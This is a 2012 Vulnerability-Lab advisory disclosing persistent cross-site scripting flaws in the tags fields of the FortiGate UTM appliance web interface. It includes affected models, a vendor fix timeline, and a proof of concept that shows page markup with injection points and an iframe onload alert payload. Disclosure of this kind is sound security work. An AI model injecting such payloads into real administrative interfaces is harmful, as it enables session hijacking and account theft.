224 lines
No EOL
9.6 KiB
Text
224 lines
No EOL
9.6 KiB
Text
Title:
|
||
======
|
||
Fortigate UTM WAF Appliance - Multiple Web Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2012-09-06
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=557
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
557
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
5
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
The FortiGate series of multi-threat security systems detect and eliminate the most damaging, content-based threats from email
|
||
and Web traffic such as viruses, worms, intrusions, inappropriate Web content and more in real time - without degrading
|
||
network performance.
|
||
|
||
Ranging from the FortiGate-30 series for small offices to the FortiGate-5000 series for large enterprises, service providers and
|
||
carriers, the FortiGate line combines the FortiOS™ security operating system with FortiASIC processors and other hardware to provide
|
||
a comprehensive and high-performance array of security and networking functions including:
|
||
|
||
* Firewall, VPN, and Traffic Shaping
|
||
* Intrusion Prevention System (IPS)
|
||
* Antivirus/Antispyware/Antimalware
|
||
* Web Filtering
|
||
* Antispam
|
||
* Application Control (e.g., IM and P2P)
|
||
* VoIP Support (H.323. and SCCP)
|
||
* Layer 2/3 routing
|
||
* Multiple WAN interface options
|
||
|
||
FortiGate appliances provide cost-effective, comprehensive protection against network, content, and application-level threats - including
|
||
complex attacks favored by cybercriminals - without degrading network availability and uptime. FortiGate platforms incorporate sophisticated
|
||
networking features, such as high availability (active/active, active/passive) for maximum network uptime, and virtual domain (VDOM)
|
||
capabilities to separate various networks requiring different security policies.
|
||
|
||
Since 2009 Fortigate appliance series got certified by the U.S. Army and is now listed in the
|
||
Information Assurance Approved Products List (IA APL). The military provides high security
|
||
standards to secure outdoor camps, air base, offices with fortigate hardware.
|
||
|
||
(Copy from the Vendor Homepage: http://www.fortinet.com/products/fortigate )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
Vulnerability-Lab Research Team discovered multiple persistent Web Vulnerabilities in the FortiGate UTM Appliance Application.
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2012-05-06: Researcher Notification & Coordination
|
||
2012-05-10: Vendor Notification
|
||
2012-06-11: Vendor Response/Feedback
|
||
2012-08-25: Vendor Fix/Patch ( Fixed in FortiOS v4.3.8 B0537 & Fixed in FortiOS v5.0 )
|
||
2012-09-06: Public or Non-Public Disclosure
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Affected Products:
|
||
==================
|
||
Fortigate
|
||
Product: UTM Appliance Application vFortiGate-5000 Series;FortiGate-3950 Series;FortiGate-3810A;
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
High
|
||
|
||
|
||
Details:
|
||
========
|
||
Multiple input validation vulnerabilities(persistent) are detected in the FortiGate UTM Appliance Application. Remote attackers
|
||
& low privileged user accounts can inject (persistent) own malicious script code to manipulate specific customer/admin requests.
|
||
The vulnerability allows an local low privileged attacker to manipulate the appliance(application) via persistent script code
|
||
inject. The vulnerability is locaed in the Add or Tags module category listing with the bound vulnerable applied tags & tags display parameters.
|
||
Successful exploitation results in content module request manipulation, execution of persistent malicious script code, session
|
||
hijacking, account steal & persistent phishing.
|
||
|
||
Vulnerable Module(s): (Persistent)
|
||
[+] Tags - Applied tags
|
||
[+] Add - Tags Display
|
||
|
||
|
||
Interface - UTM WAF Web Application [Appliance]
|
||
FortiGate-5000 Series;FortiGate-3950 Series;FortiGate-3810A;FortiGate-3600A;FortiGate-3016B;FortiGate-1240B
|
||
FortiGate-800;FortiGate-620B;FortiGate-311B;FortiGate-310B;FortiGate-300A;FortiGate-224B;FortiGate-200B Series
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
The persistent vulnerabilities can be exploited by remote attackers with low required user inter action or low
|
||
privileged user account. For demonstration or reproduce ...
|
||
|
||
|
||
Code Review: Tags - Applied tags [Box] > Listing
|
||
URL: http://appliance.127.0.0.1:1337/firewall/policy/policy6?expanded=#
|
||
|
||
name=``addr_dlg`` action=``/firewall/address/add`` onsubmit=``if (!fwad_form_check('Please choose one address/group.',
|
||
'Please choose one interface to connect.')) return false; if (document.forms[0].submitFlag) return false; document.forms[0].
|
||
submitFlag = true;``>
|
||
<table><tbody><tr>
|
||
<td align=``left`` width=``150``><nobr>Address Name</nobr></td>
|
||
<td align=``left``><input
|
||
name=``name`` size=``64`` maxlength=``63`` value=``all`` type=``text``>
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Color</td>
|
||
<td><span colorclassprefix=``addr_ipv6_
|
||
`` class=``icon_fw addr_ipv6_13`` id=``addressIcon``></span> <a href=``#`` id=``addressColor`` cscolorvalue=``0``>[Change]<input value=``13``
|
||
name=``csColor1`` type=``hidden``></a></td></tr>
|
||
<tr id=``row_ipv6``>
|
||
<td align=``left`` width=``150``><nobr>IPv6 Address</nobr></td>
|
||
<td
|
||
align=``left``><input name=``ip6`` size=``50`` maxlength=``43`` value=``::/0`` onfocus=``this.select()``></td>
|
||
</tr>
|
||
<tr class=``object_tag_row``>
|
||
<td colspan=``2``>Tags</td></tr>
|
||
<tr class=``object_tag_row``>
|
||
<td class=``dep_opt``><label for=``appliedTags``>Applied tags</label></td>
|
||
|
||
<td><span class=``tag_list`` id=``appliedTags``><span class=``object_tag object_tag_remove``
|
||
mkey=````><[PERSISTENT INJECTED SCRIPT CODE!]'<``=````><span class=``tag_label``>
|
||
``><[PERSISTENT INJECTED SCRIPT CODE!] <</span><span class=``tag_tail``></span><
|
||
/span></iframe></span></span></td>
|
||
</tr>
|
||
<tr class=``object_tag_row``>
|
||
<td class=``dep_opt``><label for=``addTag``>Add tags</label>
|
||
</td>
|
||
<td><input class=``ac_input`` autocomplete=``off`` name=``addTag`` id=``addTag`` type=``text``><img src=``/images/act_add.gif``
|
||
class=``tagSelector-addTag``></td>
|
||
</tr>
|
||
</tbody></table><input name=``mkey`` id=``mkey`` value=``all`` type=``hidden``>
|
||
<input name=``tagList``
|
||
id=``tagList`` value=``"><[PERSISTENT INJECTED SCRIPT CODE!]<`` type=``hidden``>
|
||
<input name=``is_ipv6`` id=``is_ipv6`` value=``1``
|
||
type=``hidden``>
|
||
<input name=``redir`` value=``/success`` type=``hidden``>
|
||
<div class=``footer``><input class=``button`` value=``Return``
|
||
onclick=``if (window.opener) {window.close(); } else if (parent && parent.wij_in_modal_op && parent.wij_in_modal_op())
|
||
{ parent.wij_end_modal_dialog(); } else {document.location='/success'}`` type=``button``>
|
||
</div></form>
|
||
|
||
... or
|
||
|
||
<td><span class="tag_list" id="appliedTags"><span class="object_tag object_tag_remove"
|
||
mkey=""><[PERSISTENT INJECTED SCRIPT CODE!]' <"=""><span class="tag_label">"><iframe src=a
|
||
onload=alert("VL") <</span><span class="tag_tail"></span></span></iframe></span>
|
||
<span class="object_tag object_tag_remove" mkey="corp"><span class="tag_label">corp</span>
|
||
<span class="tag_tail"></span></span></span></td>
|
||
|
||
|
||
Solution:
|
||
=========
|
||
To fix the persistent vulnerabilities by parsing the object tag add input fields & output listings in all sections.
|
||
Restrict the input field and disallow script code tags or evil statement inserts.
|
||
|
||
* Fixed in FortiOS v4.3.8 B0537
|
||
* Fixed in FortiOS v5.0
|
||
|
||
|
||
Risk:
|
||
=====
|
||
The security risk of the persistent input validation vulnerabilities are estimated as high (-).
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||
or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
|
||
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
|
||
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright © 2012 | Vulnerability Laboratory
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY RESEARCH LABORATORY
|
||
LABORATORY RESEARCH TEAM
|
||
CONTACT: research@vulnerability-lab.com |